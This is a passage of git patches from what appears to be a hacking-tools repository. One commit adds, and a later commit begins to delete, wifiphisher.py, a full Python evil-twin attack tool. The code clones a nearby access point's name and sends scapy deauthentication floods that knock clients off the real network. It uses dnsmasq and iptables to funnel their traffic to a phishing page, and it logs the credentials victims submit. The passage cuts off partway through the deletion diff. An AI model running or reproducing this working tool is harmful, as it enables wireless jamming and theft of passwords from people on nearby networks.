-e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" - echo -e "$blue# #" - echo -e "$blue#########################################################""$transparent" - echo - echo -} From 763fa5dc11b76afe0de28d96963d7882ef80c422 Mon Sep 17 00:00:00 2001 From: Apathetic Euphoria Date: Sat, 12 Mar 2016 15:22:26 -0800 Subject: [PATCH 027/294] Create wifiphisher.py --- WifiPhisher/wifiphisher.py | 1059 ++++++++++++++++++++++++++++++++++++ 1 file changed, 1059 insertions(+) create mode 100644 WifiPhisher/wifiphisher.py diff --git a/WifiPhisher/wifiphisher.py b/WifiPhisher/wifiphisher.py new file mode 100644 index 0000000..5830419 --- /dev/null +++ b/WifiPhisher/wifiphisher.py @@ -0,0 +1,1059 @@ +#!/usr/bin/env python2 +# -*- coding: utf-8 -*- + +import os +import ssl +import re +import time +import sys +import SimpleHTTPServer +import BaseHTTPServer +import httplib +import SocketServer +import cgi +import argparse +import fcntl +from threading import Thread, Lock +from subprocess import Popen, PIPE, check_output +import logging +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) +from scapy.all import * + +conf.verb = 0 + +# Basic configuration +PORT = 8080 +SSL_PORT = 443 +PEM = 'cert/server.pem' +PHISING_PAGE = "phishing-scenarios/minimal" +POST_VALUE_PREFIX = "wfphshr" +NETWORK_IP = "10.0.0.0" +NETWORK_MASK = "255.255.255.0" +NETWORK_GW_IP = "10.0.0.1" +DHCP_LEASE = "10.0.0.2,10.0.0.100,12h" + +DN = open(os.devnull, 'w') + +# Console colors +W = '\033[0m' # white (normal) +R = '\033[31m' # red +G = '\033[32m' # green +O = '\033[33m' # orange +B = '\033[34m' # blue +P = '\033[35m' # purple +C = '\033[36m' # cyan +GR = '\033[37m' # gray +T = '\033[93m' # tan + +count = 0 # for channel hopping Thread +APs = {} # for listing APs +hop_daemon_running = True +terminate = False +lock = Lock() + + +def parse_args(): + # Create the arguments + parser = argparse.ArgumentParser() + parser.add_argument( + "-c", + "--channel", + help="Choose the channel for monitoring. Default is channel 1", + default="1" + ) + parser.add_argument( + "-s", + "--skip", + help="Skip deauthing this MAC address. Example: -s 00:11:BB:33:44:AA" + ) + parser.add_argument( + "-jI", + "--jamminginterface", + help=("Choose monitor mode interface. " + + "By default script will find the most powerful interface and " + + "starts monitor mode on it. Example: -jI mon5" + ) + ) + parser.add_argument( + "-aI", + "--apinterface", + help=("Choose monitor mode interface. " + + "By default script will find the most powerful interface and " + + "starts monitor mode on it. Example: -jI mon5" + ) + ) + parser.add_argument( + "-m", + "--maximum", + help=("Choose the maximum number of clients to deauth." + + "List of clients will be emptied and repopulated after" + + "hitting the limit. Example: -m 5" + ) + ) + parser.add_argument( + "-n", + "--noupdate", + help=("Do not clear the deauth list when the maximum (-m) number" + + "of client/AP combos is reached. Must be used in conjunction" + + "with -m. Example: -m 10 -n" + ), + action='store_true' + ) + parser.add_argument( + "-t", + "--timeinterval", + help=("Choose the time interval between packets being sent." + + " Default is as fast as possible. If you see scapy " + + "errors like 'no buffer space' try: -t .00001" + ) + ) + parser.add_argument( + "-p", + "--packets", + help=("Choose the number of packets to send in each deauth burst. " + + "Default value is 1; 1 packet to the client and 1 packet to " + + "the AP. Send 2 deauth packets to the client and 2 deauth " + + "packets to the AP: -p 2" + ) + ) + parser.add_argument( + "-d", + "--directedonly", + help=("Skip the deauthentication packets to the broadcast address of" + + "the access points and only send them to client/AP pairs" + ), + action='store_true') + parser.add_argument( + "-a", + "--accesspoint", + help="Enter the MAC address of a specific access point to target" + ) + + return parser.parse_args() + + +class SecureHTTPServer(BaseHTTPServer.HTTPServer): + """ + Simple HTTP server that extends the SimpleHTTPServer standard + module to support the SSL protocol. + + Only the server is authenticated while the client remains + unauthenticated (i.e. the server will not request a client + certificate). + + It also reacts to self.stop flag. + """ + def __init__(self, server_address, HandlerClass): + SocketServer.BaseServer.__init__(self, server_address, HandlerClass) + self.socket = ssl.SSLSocket( + socket.socket(self.address_family, self.socket_type), + keyfile=PEM, + certfile=PEM + ) + + self.server_bind() + self.server_activate() + + def serve_forever(self): + """ + Handles one request at a time until stopped. + """ + self.stop = False + while not self.stop: + self.handle_request() + + +class SecureHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + """ + Request handler for the HTTPS server. It responds to + everything with a 301 redirection to the HTTP server. + """ + def do_QUIT(self): + """ + Sends a 200 OK response, and sets server.stop to True + """ + self.send_response(200) + self.end_headers() + self.server.stop = True + + def setup(self): + self.connection = self.request + self.rfile = socket._fileobject(self.request, "rb", self.rbufsize) + self.wfile = socket._fileobject(self.request, "wb", self.wbufsize) + + def do_GET(self): + self.send_response(301) + self.send_header('Location', 'http://' + NETWORK_GW_IP + ':' + str(PORT)) + self.end_headers() + + def log_message(self, format, *args): + return + + +class HTTPServer(BaseHTTPServer.HTTPServer): + """ + HTTP server that reacts to self.stop flag. + """ + + def serve_forever(self): + """ + Handle one request at a time until stopped. + """ + self.stop = False + while not self.stop: + self.handle_request() + + +class HTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + """ + Request handler for the HTTP server that logs POST requests. + """ + def redirect(self, page="/"): + self.send_response(301) + self.send_header('Location', page) + self.end_headers() + + def do_QUIT(self): + """ + Sends a 200 OK response, and sets server.stop to True + """ + self.send_response(200) + self.end_headers() + self.server.stop = True + + def do_GET(self): + + if self.path == "/": + wifi_webserver_tmp = "/tmp/wifiphisher-webserver.tmp" + with open(wifi_webserver_tmp, "a+") as log_file: + log_file.write('[' + T + '*' + W + '] ' + O + "GET " + T + + self.client_address[0] + W + "\n" + ) + log_file.close() + self.path = "index.html" + self.path = "%s/%s" % (PHISING_PAGE, self.path) + + if self.path.endswith(".html"): + if not os.path.isfile(self.path): + self.send_response(404) + return + f = open(self.path) + self.send_response(200) + self.send_header('Content-type', 'text-html') + self.end_headers() + # Send file content to client + self.wfile.write(f.read()) + f.close() + return + # Leave binary and other data to default handler. + else: + SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) + + def do_POST(self): + global terminate + redirect = False + form = cgi.FieldStorage( + fp=self.rfile, + headers=self.headers, + environ={'REQUEST_METHOD': 'POST', + 'CONTENT_TYPE': self.headers['Content-type'], + }) + if not form.list: + return + for item in form.list: + if item.name and item.value and POST_VALUE_PREFIX in item.name: + redirect = True + wifi_webserver_tmp = "/tmp/wifiphisher-webserver.tmp" + with open(wifi_webserver_tmp, "a+") as log_file: + log_file.write('[' + T + '*' + W + '] ' + O + "POST " + + T + self.client_address[0] + + R + " " + item.name + "=" + item.value + + W + "\n" + ) + log_file.close() + if redirect: + self.redirect("/upgrading.html") + terminate = True + return + self.redirect() + + def log_message(self, format, *args): + return + + +def stop_server(port=PORT, ssl_port=SSL_PORT): + """ + Sends QUIT request to HTTP server running on localhost: + """ + conn = httplib.HTTPConnection("localhost:%d" % port) + conn.request("QUIT", "/") + conn.getresponse() + + conn = httplib.HTTPSConnection("localhost:%d" % ssl_port) + conn.request("QUIT", "/") + conn.getresponse() + + +def shutdown(): + """ + Shutdowns program. + """ + os.system('iptables -F') + os.system('iptables -X') + os.system('iptables -t nat -F') + os.system('iptables -t nat -X') + os.system('pkill airbase-ng') + os.system('pkill dnsmasq') + os.system('pkill hostapd') + if os.path.isfile('/tmp/wifiphisher-webserver.tmp'): + os.remove('/tmp/wifiphisher-webserver.tmp') + if os.path.isfile('/tmp/wifiphisher-jammer.tmp'): + os.remove('/tmp/wifiphisher-jammer.tmp') + if os.path.isfile('/tmp/hostapd.conf'): + os.remove('/tmp/hostapd.conf') + reset_interfaces() + print '\n[' + R + '!' + W + '] Closing' + sys.exit(0) + + +def get_interfaces(): + interfaces = {"monitor": [], "managed": [], "all": []} + proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN) + for line in proc.communicate()[0].split('\n'): + if len(line) == 0: + continue # Isn't an empty string + if line[0] != ' ': # Doesn't start with space + wired_search = re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line) + if not wired_search: # Isn't wired + iface = line[:line.find(' ')] # is the interface + if 'Mode:Monitor' in line: + interfaces["monitor"].append(iface) + elif 'IEEE 802.11' in line: + interfaces["managed"].append(iface) + interfaces["all"].append(iface) + return interfaces + + +def get_iface(mode="all", exceptions=["_wifi"]): + ifaces = get_interfaces()[mode] + for i in ifaces: + if i not in exceptions: + return i + return False + + +def reset_interfaces(): + monitors = get_interfaces()["monitor"] + for m in monitors: + if 'mon' in m and os.path.isfile('/usr/sbin/airmon-ng'): + Popen(['airmon-ng', 'stop', m], stdout=DN, stderr=DN) + else: + Popen(['ifconfig', m, 'down'], stdout=DN, stderr=DN) + Popen(['iwconfig', m, 'mode', 'managed'], stdout=DN, stderr=DN) + Popen(['ifconfig', m, 'up'], stdout=DN, stderr=DN) + + +def get_internet_interface(): + '''return the wifi internet connected iface''' + inet_iface = None + + if os.path.isfile("/sbin/ip") == True: + proc = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN) + def_route = proc.communicate()[0].split('\n') # [0].split() + for line in def_route: + if 'wlan' in line and 'default via' in line: + line = line.split() + inet_iface = line[4] + ipprefix = line[2][:2] # Just checking if it's 192, 172, or 10 + return inet_iface + else: + proc = open('/proc/net/route', 'r') + default = proc.readlines()[1] + if "wlan" in default: + def_route = default.split()[0] + x = iter(default.split()[2]) + res = [''.join(i) for i in zip(x, x)] + d = [str(int(i, 16)) for i in res] + return inet_iface + return False + + +def channel_hop(mon_iface): + chan = 0 + while hop_daemon_running: + try: + if chan > 11: + chan = 0 + chan = chan + 1 + channel = str(chan) + iw = Popen( + ['iw', 'dev', mon_iface, 'set', 'channel', channel], + stdout=DN, stderr=PIPE + ) + for line in iw.communicate()[1].split('\n'): + # iw dev shouldnt display output unless there's an error + if len(line) > 2: + with lock: + err = ( + '[' + R + '-' + W + '] Channel hopping failed: ' + + R + line + W + '\n' + 'Try disconnecting the monitor mode\'s parent' + + 'interface (e.g. wlan0)\n' + 'from the network if you have not already\n' + ) + sys.exit(err) + break + time.sleep(1) + except KeyboardInterrupt: + sys.exit() + + +def sniffing(interface, cb): + '''This exists for if/when I get deauth working + so that it's easy to call sniff() in a thread''' + sniff(iface=interface, prn=cb, store=0) + + +def targeting_cb(pkt): + global APs, count + if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): + try: + ap_channel = str(ord(pkt[Dot11Elt:3].info)) + except Exception: + return + essid = pkt[Dot11Elt].info + mac = pkt[Dot11].addr2 + if len(APs) > 0: + for num in APs: + if essid in APs[num][1]: + return + count += 1 + APs[count] = [ap_channel, essid, mac] + target_APs() + + +def target_APs(): + global APs, count + os.system('clear') + print ('[' + G + '+' + W + '] Ctrl-C at any time to copy an access' + + ' point from below') + print 'num ch ESSID' + print '---------------' + for ap in APs: + print (G + str(ap).ljust(2) + W + ' - ' + APs[ap][0].ljust(2) + ' - ' + + T + APs[ap][1] + W) + + +def copy_AP(): + global APs, count + copy = None + while not copy: + try: + copy = raw_input( + ('\n[' + G + '+' + W + '] Choose the [' + G + 'num' + W + + '] of the AP you wish to copy: ') + ) + copy = int(copy) + except Exception: + copy = None + continue + try: + channel = APs[copy][0] + essid = APs[copy][1] + if str(essid) == "\x00": + essid = ' ' + mac = APs[copy][2] + return channel, essid, mac + except KeyError: + return copy_AP() + + +def start_ap(mon_iface, channel, essid, args): + print '[' + T + '*' + W + '] Starting the fake access point...' + config = ( + 'interface=%s\n' + 'driver=nl80211\n' + 'ssid=%s\n' + 'hw_mode=g\n' + 'channel=%s\n' + 'macaddr_acl=0\n' + 'ignore_broadcast_ssid=0\n' + ) + with open('/tmp/hostapd.conf', 'w') as dhcpconf: + dhcpconf.write(config % (mon_iface, essid, channel)) + + Popen(['hostapd', '/tmp/hostapd.conf'], stdout=DN, stderr=DN) + try: + time.sleep(6) # Copied from Pwnstar which said it was necessary? + except KeyboardInterrupt: + shutdown() + + +def dhcp_conf(interface): + + config = ( + 'no-resolv\n' + 'interface=%s\n' + 'dhcp-range=%s\n' + 'address=/#/%s' + ) + + with open('/tmp/dhcpd.conf', 'w') as dhcpconf: + dhcpconf.write(config % (interface, DHCP_LEASE, NETWORK_GW_IP)) + return '/tmp/dhcpd.conf' + + +def dhcp(dhcpconf, mon_iface): + os.system('echo > /var/lib/misc/dnsmasq.leases') + dhcp = Popen(['dnsmasq', '-C', dhcpconf], stdout=PIPE, stderr=DN) + Popen(['ifconfig', str(mon_iface), 'mtu', '1400'], stdout=DN, stderr=DN) + Popen( + ['ifconfig', str(mon_iface), 'up', NETWORK_GW_IP, + 'netmask', NETWORK_MASK + ], + stdout=DN, + stderr=DN + ) + # Make sure that we have set the network properly. + proc = check_output(['ifconfig', str(mon_iface)]) + if NETWORK_GW_IP not in proc: + return False + time.sleep(.5) # Give it some time to avoid "SIOCADDRT: Network is unreachable" + os.system( + ('route add -net %s netmask %s gw %s' % + (NETWORK_IP, NETWORK_MASK, NETWORK_GW_IP)) + ) + return True + + +def get_strongest_iface(exceptions=[]): + interfaces = get_interfaces()["managed"] + scanned_aps = [] + for i in interfaces: + if i in exceptions: + continue + count = 0 + proc = Popen(['iwlist', i, 'scan'], stdout=PIPE, stderr=DN) + for line in proc.communicate()[0].split('\n'): + if ' - Address:' in line: # first line in iwlist scan for a new AP + count += 1 + scanned_aps.append((count, i)) + print ('[' + G + '+' + W + '] Networks discovered by ' + + G + i + W + ': ' + T + str(count) + W) + if len(scanned_aps) > 0: + interface = max(scanned_aps)[1] + return interface + return False + + +def start_mode(interface, mode="monitor"): + print ('[' + G + '+' + W + '] Starting ' + mode + ' mode off ' + + G + interface + W) + try: + os.system('ifconfig %s down' % interface) + os.system('iwconfig %s mode %s' % (interface, mode)) + os.system('ifconfig %s up' % interface) + return interface + except Exception: + sys.exit('[' + R + '-' + W + '] Could not start %s mode' % mode) + + +# Wifi Jammer stuff +# TODO: Merge this with the other channel_hop method. +def channel_hop2(mon_iface): + ''' + First time it runs through the channels it stays on each channel for + 5 seconds in order to populate the deauth list nicely. + After that it goes as fast as it can + ''' + global monchannel, first_pass + + channelNum = 0 + + while 1: + if args.channel: + with lock: + monchannel = args.channel + else: + channelNum += 1 + if channelNum > 11: + channelNum = 1 + with lock: + first_pass = 0 + with lock: + monchannel = str(channelNum) + + proc = Popen( + ['iw', 'dev', mon_iface, 'set', 'channel', monchannel], + stdout=DN, + stderr=PIPE + ) + + for line in proc.communicate()[1].split('\n'): + if len(line) > 2: + # iw dev shouldnt display output unless there's an error + err = ('[' + R + '-' + W + '] Channel hopping failed: ' + + R + line + W) + sys.exit(err) + + output(monchannel) + if args.channel: + time.sleep(.05) + else: + # For the first channel hop thru, do not deauth + if first_pass == 1: + time.sleep(1) + continue + + deauth(monchannel) + + +def deauth(monchannel): + ''' + addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway + if there's multi-APs to one gateway. Constantly scans the clients_APs list + and starts a thread to deauth each instance + ''' + + pkts = [] + + if len(clients_APs) > 0: + with lock: + for x in clients_APs: + client = x[0] + ap = x[1] + ch = x[2] + ''' + Can't add a RadioTap() layer as the first layer or it's a + malformed Association request packet? + Append the packets to a new list so we don't have to hog the + lock type=0, subtype=12? + ''' + if ch == monchannel: + deauth_pkt1 = Dot11( + addr1=client, + addr2=ap, + addr3=ap) / Dot11Deauth() + deauth_pkt2 = Dot11( + addr1=ap, + addr2=client, + addr3=client) / Dot11Deauth() + pkts.append(deauth_pkt1) + pkts.append(deauth_pkt2) + if len(APs) > 0: + if not args.directedonly: + with lock: + for a in APs: + ap = a[0] + ch = a[1] + if ch == monchannel: + deauth_ap = Dot11( + addr1='ff:ff:ff:ff:ff:ff', + addr2=ap, + addr3=ap) / Dot11Deauth() + pkts.append(deauth_ap) + + if len(pkts) > 0: + # prevent 'no buffer space' scapy error http://goo.gl/6YuJbI + if not args.timeinterval: + args.timeinterval = 0 + if not args.packets: + args.packets = 1 + + for p in pkts: + send(p, inter=float(args.timeinterval), count=int(args.packets)) + + +def output(monchannel): + wifi_jammer_tmp = "/tmp/wifiphisher-jammer.tmp" + with open(wifi_jammer_tmp, "a+") as log_file: + log_file.truncate() + with lock: + for ca in clients_APs: + if len(ca) > 3: + log_file.write( + ('[' + T + '*' + W + '] ' + O + ca[0] + W + + ' - ' + O + ca[1] + W + ' - ' + ca[2].ljust(2) + + ' - ' + T + ca[3] + W + '\n') + ) + else: + log_file.write( + '[' + T + '*' + W + '] ' + O + ca[0] + W + + ' - ' + O + ca[1] + W + ' - ' + ca[2] + ) + with lock: + for ap in APs: + log_file.write( + '[' + T + '*' + W + '] ' + O + ap[0] + W + + ' - ' + ap[1].ljust(2) + ' - ' + T + ap[2] + W + '\n' + ) + # print '' + + +def noise_filter(skip, addr1, addr2): + # Broadcast, broadcast, IPv6mcast, spanning tree, spanning tree, multicast, + # broadcast + ignore = [ + 'ff:ff:ff:ff:ff:ff', + '00:00:00:00:00:00', + '33:33:00:', '33:33:ff:', + '01:80:c2:00:00:00', + '01:00:5e:', + mon_MAC + ] + if skip: + ignore.append(skip) + for i in ignore: + if i in addr1 or i in addr2: + return True + + +def cb(pkt): + ''' + Look for dot11 packets that aren't to or from broadcast address, + are type 1 or 2 (control, data), and append the addr1 and addr2 + to the list of deauth targets. + ''' + global clients_APs, APs + + # return these if's keeping clients_APs the same or just reset clients_APs? + # I like the idea of the tool repopulating the variable more + if args.maximum: + if args.noupdate: + if len(clients_APs) > int(args.maximum): + return + else: + if len(clients_APs) > int(args.maximum): + with lock: + clients_APs = [] + APs = [] + + ''' + We're adding the AP and channel to the deauth list at time of creation + rather than updating on the fly in order to avoid costly for loops + that require a lock. + ''' + + if pkt.haslayer(Dot11): + if pkt.addr1 and pkt.addr2: + + # Filter out all other APs and clients if asked + if args.accesspoint: + if args.accesspoint not in [pkt.addr1, pkt.addr2]: + return + + # Check if it's added to our AP list + if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): + APs_add(clients_APs, APs, pkt, args.channel) + + # Ignore all the noisy packets like spanning tree + if noise_filter(args.skip, pkt.addr1, pkt.addr2): + return + + # Management = 1, data = 2 + if pkt.type in [1, 2]: + clients_APs_add(clients_APs, pkt.addr1, pkt.addr2) + + +def APs_add(clients_APs, APs, pkt, chan_arg): + ssid = pkt[Dot11Elt].info + bssid = pkt[Dot11].addr3 + try: + # Thanks to airoscapy for below + ap_channel = str(ord(pkt[Dot11Elt:3].info)) + # Prevent 5GHz APs from being thrown into the mix + chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11'] + if ap_channel not in chans: + return + + if chan_arg: + if ap_channel != chan_arg: + return + + except Exception: + return + + if len(APs) == 0: + with lock: + return APs.append([bssid, ap_channel, ssid]) + else: + for b in APs: + if bssid in b[0]: + return + with lock: + return APs.append([bssid, ap_channel, ssid]) + + +def clients_APs_add(clients_APs, addr1, addr2): + + if len(clients_APs) == 0: + if len(APs) == 0: + with lock: + return clients_APs.append([addr1, addr2, monchannel]) + else: + AP_check(addr1, addr2) + + # Append new clients/APs if they're not in the list + else: + for ca in clients_APs: + if addr1 in ca and addr2 in ca: + return + + if len(APs) > 0: + return AP_check(addr1, addr2) + else: + with lock: + return clients_APs.append([addr1, addr2, monchannel]) + + +def AP_check(addr1, addr2): + for ap in APs: + if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower(): + with lock: + return clients_APs.append([addr1, addr2, ap[1], ap[2]]) + + +def mon_mac(mon_iface): + ''' + http://stackoverflow.com/questions/159137/getting-mac-address + ''' + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', mon_iface[:15])) + mac = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1] + print ('[' + G + '*' + W + '] Monitor mode: ' + G + + mon_iface + W + ' - ' + O + mac + W) + return mac + + +def sniff_dot11(mon_iface): + """ + We need this here to run it from a thread. + """ + sniff(iface=mon_iface, store=0, prn=cb) + + +def get_hostapd(): + if not os.path.isfile('/usr/sbin/hostapd'): + install = raw_input( + ('[' + T + '*' + W + '] hostapd not found ' + + 'in /usr/sbin/hostapd, install now? [y/n] ') + ) + if install == 'y': + os.system('apt-get -y install hostapd') + else: + sys.exit(('[' + R + '-' + W + '] hostapd' + + 'not found in /usr/sbin/hostapd')) + if not os.path.isfile('/usr/sbin/hostapd'): + sys.exit(( + '\n[' + R + '-' + W + '] Unable to install the \'hostapd\' package!\n' + + '[' + T + '*' + W + '] This process requires a persistent internet connection!\n' + + 'Please follow the link below to configure your sources.list\n' + + B + 'http://docs.kali.org/general-use/kali-linux-sources-list-repositories\n' + W + + '[' + G + '+' + W + '] Run apt-get update for changes to take effect.\n' + + '[' + G + '+' + W + '] Rerun the script again to install hostapd.\n' + + '[' + R + '!' + W + '] Closing' + )) + +if __name__ == "__main__": + + print " _ __ _ _ _ _ " + print " (_)/ _(_) | | (_) | | " + print " __ ___| |_ _ _ __ | |__ _ ___| |__ ___ _ __ " + print " \ \ /\ / / | _| | '_ \| '_ \| / __| '_ \ / _ \ '__|" + print " \ V V /| | | | | |_) | | | | \__ \ | | | __/ | " + print " \_/\_/ |_|_| |_| .__/|_| |_|_|___/_| |_|\___|_| " + print " | | " + print " |_| " + print " " + + # Parse args + args = parse_args() + # Are you root? + if os.geteuid(): + sys.exit('[' + R + '-' + W + '] Please run as root') + # Kill any possible programs that may interfere with the wireless card + # Only for systems with airmon-ng installed + if os.path.isfile('/usr/sbin/airmon-ng'): + proc = Popen(['airmon-ng', 'check', 'kill'], stdout=PIPE, stderr=DN) + + # Get hostapd if needed + get_hostapd() + + # TODO: We should have more checks here: + # Is anything binded to our HTTP(S) ports? + # Maybe we should save current iptables rules somewhere + reset_interfaces() + # Exit if less than two wireless interfaces exist in the system + if len(get_interfaces()['all']) <= 0: + sys.exit('[' + R + '-' + W + '] No wireless interfaces ' \ + + 'found. Closing... ') + elif len(get_interfaces()['all']) == 1: + sys.exit('[' + R + '-' + W + '] Only one wireless interface ' \ + + 'found. Closing... ') + # Get the right interfaces + inet_iface = get_internet_interface() + if not args.jamminginterface: + mon_iface = get_iface(mode="monitor", exceptions=[inet_iface]) + iface_to_monitor = False + else: + mon_iface = False + iface_to_monitor = args.jamminginterface + if not mon_iface: + if args.jamminginterface: + iface_to_monitor = args.jamminginterface + else: + iface_to_monitor = get_strongest_iface() + mon_iface = start_mode(iface_to_monitor, "monitor") + wj_iface = mon_iface + if not args.apinterface: + ap_iface = get_iface(mode="managed", exceptions=[iface_to_monitor]) + else: + ap_iface = args.apinterface + + if inet_iface and inet_iface in [ap_iface, iface_to_monitor]: + sys.exit( + ('[' + G + '+' + W + + '] Interface %s is connected to the Internet. ' % inet_iface + + 'Please disconnect and rerun the script.\n' + + '[' + R + '!' + W + '] Closing' + ) + ) + + ''' + We got the interfaces correctly at this point. Monitor mon_iface & for + the AP ap_iface. + ''' + # Set iptable rules and kernel variables. + os.system( + ('iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination %s:%s' + % (NETWORK_GW_IP, PORT)) + ) + os.system( + ('iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination %s:%s' + % (NETWORK_GW_IP, SSL_PORT)) + ) + Popen( + ['sysctl', '-w', 'net.ipv4.conf.all.route_localnet=1'], + stdout=DN, + stderr=PIPE + ) + + print '[' + T + '*' + W + '] Cleared leases, started DHCP, set up iptables' + + # Copy AP + time.sleep(3) + hop = Thread(target=channel_hop, args=(mon_iface,)) + hop.daemon = True + hop.start() + sniffing(mon_iface, targeting_cb) + channel, essid, ap_mac = copy_AP() + hop_daemon_running = False + + # Start AP + start_ap(ap_iface, channel, essid, args) + dhcpconf = dhcp_conf(ap_iface) + if not dhcp(dhcpconf, ap_iface): + print('[' + G + '+' + W + + '] Could not set IP address on %s!' % ap_iface + ) + shutdown() + os.system('clear') + print ('[' + T + '*' + W + '] ' + T + + essid + W + ' set up on channel ' + + T + channel + W + ' via ' + T + mon_iface + + W + ' on ' + T + str(ap_iface) + W) + + # With configured DHCP, we may now start the web server + # Start HTTP server in a background thread + Handler = HTTPRequestHandler + try: + httpd = HTTPServer((NETWORK_GW_IP, PORT), Handler) + except socket.error, v: + errno = v[0] + sys.exit(( + '\n[' + R + '-' + W + '] Unable to start HTTP server (socket errno ' + str(errno) + ')!\n' + + '[' + R + '-' + W + '] Maybe another process is running on port ' + str(PORT) + '?\n' + + '[' + R + '!' + W + '] Closing' + )) + print '[' + T + '*' + W + '] Starting HTTP server at port ' + str(PORT) + webserver = Thread(target=httpd.serve_forever) + webserver.daemon = True + webserver.start() + # Start HTTPS server in a background thread + Handler = SecureHTTPRequestHandler + try: + httpd = SecureHTTPServer((NETWORK_GW_IP, SSL_PORT), Handler) + except socket.error, v: + errno = v[0] + sys.exit(( + '\n[' + R + '-' + W + '] Unable to start HTTPS server (socket errno ' + str(errno) + ')!\n' + + '[' + R + '-' + W + '] Maybe another process is running on port ' + str(SSL_PORT) + '?\n' + + '[' + R + '!' + W + '] Closing' + )) + print ('[' + T + '*' + W + '] Starting HTTPS server at port ' + + str(SSL_PORT)) + secure_webserver = Thread(target=httpd.serve_forever) + secure_webserver.daemon = True + secure_webserver.start() + + time.sleep(3) + + clients_APs = [] + APs = [] + args.accesspoint = ap_mac + args.channel = channel + monitor_on = None + conf.iface = mon_iface + mon_MAC = mon_mac(mon_iface) + first_pass = 1 + + monchannel = channel + # Start channel hopping + hop = Thread(target=channel_hop2, args=(wj_iface,)) + hop.daemon = True + hop.start() + + # Start sniffing + sniff_thread = Thread(target=sniff_dot11, args=(wj_iface,)) + sniff_thread.daemon = True + sniff_thread.start() + + # Main loop. + try: + while 1: + os.system("clear") + print "Jamming devices: " + if os.path.isfile('/tmp/wifiphisher-jammer.tmp'): + proc = check_output(['cat', '/tmp/wifiphisher-jammer.tmp']) + lines = proc.split('\n') + lines += ["\n"] * (5 - len(lines)) + else: + lines = ["\n"] * 5 + for l in lines: + print l + print "DHCP Leases: " + if os.path.isfile('/var/lib/misc/dnsmasq.leases'): + proc = check_output(['cat', '/var/lib/misc/dnsmasq.leases']) + lines = proc.split('\n') + lines += ["\n"] * (5 - len(lines)) + else: + lines = ["\n"] * 5 + for l in lines: + print l + print "HTTP requests: " + if os.path.isfile('/tmp/wifiphisher-webserver.tmp'): + proc = check_output( + ['tail', '-5', '/tmp/wifiphisher-webserver.tmp'] + ) + lines = proc.split('\n') + lines += ["\n"] * (5 - len(lines)) + else: + lines = ["\n"] * 5 + for l in lines: + print l + if terminate: + time.sleep(3) + shutdown() + time.sleep(0.5) + except KeyboardInterrupt: + shutdown() From fc612b1120a1d9f761a167bb4d2d976c93115af0 Mon Sep 17 00:00:00 2001 From: Apathetic Euphoria Date: Sat, 12 Mar 2016 15:30:06 -0800 Subject: [PATCH 028/294] Delete wifiphisher.py --- WifiPhisher/wifiphisher.py | 1059 ------------------------------------ 1 file changed, 1059 deletions(-) delete mode 100644 WifiPhisher/wifiphisher.py diff --git a/WifiPhisher/wifiphisher.py b/WifiPhisher/wifiphisher.py deleted file mode 100644 index 5830419..0000000 --- a/WifiPhisher/wifiphisher.py +++ /dev/null @@ -1,1059 +0,0 @@ -#!/usr/bin/env python2 -# -*- coding: utf-8 -*- - -import os -import ssl -import re -import time -import sys -import SimpleHTTPServer -import BaseHTTPServer -import httplib -import SocketServer -import cgi -import argparse -import fcntl -from threading import Thread, Lock -from subprocess import Popen, PIPE, check_output -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) -from scapy.all import * - -conf.verb = 0 - -# Basic configuration -PORT = 8080 -SSL_PORT = 443 -PEM = 'cert/server.pem' -PHISING_PAGE = "phishing-scenarios/minimal" -POST_VALUE_PREFIX = "wfphshr" -NETWORK_IP = "10.0.0.0" -NETWORK_MASK = "255.255.255.0" -NETWORK_GW_IP = "10.0.0.1" -DHCP_LEASE = "10.0.0.2,10.0.0.100,12h" - -DN = open(os.devnull, 'w') - -# Console colors -W = '\033[0m' # white (normal) -R = '\033[31m' # red -G = '\033[32m' # green -O = '\033[33m' # orange -B = '\033[34m' # blue -P = '\033[35m' # purple -C = '\033[36m' # cyan -GR = '\033[37m' # gray -T = '\033[93m' # tan - -count = 0 # for channel hopping Thread -APs = {} # for listing APs -hop_daemon_running = True -terminate = False -lock = Lock() - - -def parse_args(): - # Create the arguments - parser = argparse.ArgumentParser() - parser.add_argument( - "-c", - "--channel", - help="Choose the channel for monitoring. Default is channel 1", - default="1" - ) - parser.add_argument( - "-s", - "--skip", - help="Skip deauthing this MAC address. Example: -s 00:11:BB:33:44:AA" - ) - parser.add_argument( - "-jI", - "--jamminginterface", - help=("Choose monitor mode interface. " + - "By default script will find the most powerful interface and " + - "starts monitor mode on it. Example: -jI mon5" - ) - ) - parser.add_argument( - "-aI", - "--apinterface", - help=("Choose monitor mode interface. " + - "By default script will find the most powerful interface and " + - "starts monitor mode on it. Example: -jI mon5" - ) - ) - parser.add_argument( - "-m", - "--maximum", - help=("Choose the maximum number of clients to deauth." + - "List of clients will be emptied and repopulated after" + - "hitting the limit. Example: -m 5" - ) - ) - parser.add_argument( - "-n", - "--noupdate", - help=("Do not clear the deauth list when the maximum (-m) number" + - "of client/AP combos is reached. Must be used in conjunction" + - "with -m. Example: -m 10 -n" - ), - action='store_true' - ) - parser.add_argument( - "-t", - "--timeinterval", - help=("Choose the time interval between packets being sent." + - " Default is as fast as possible. If you see scapy " + - "errors like 'no buffer space' try: -t .00001" - ) - ) - parser.add_argument( - "-p", - "--packets", - help=("Choose the number of packets to send in each deauth burst. " + - "Default value is 1; 1 packet to the client and 1 packet to " + - "the AP. Send 2 deauth packets to the client and 2 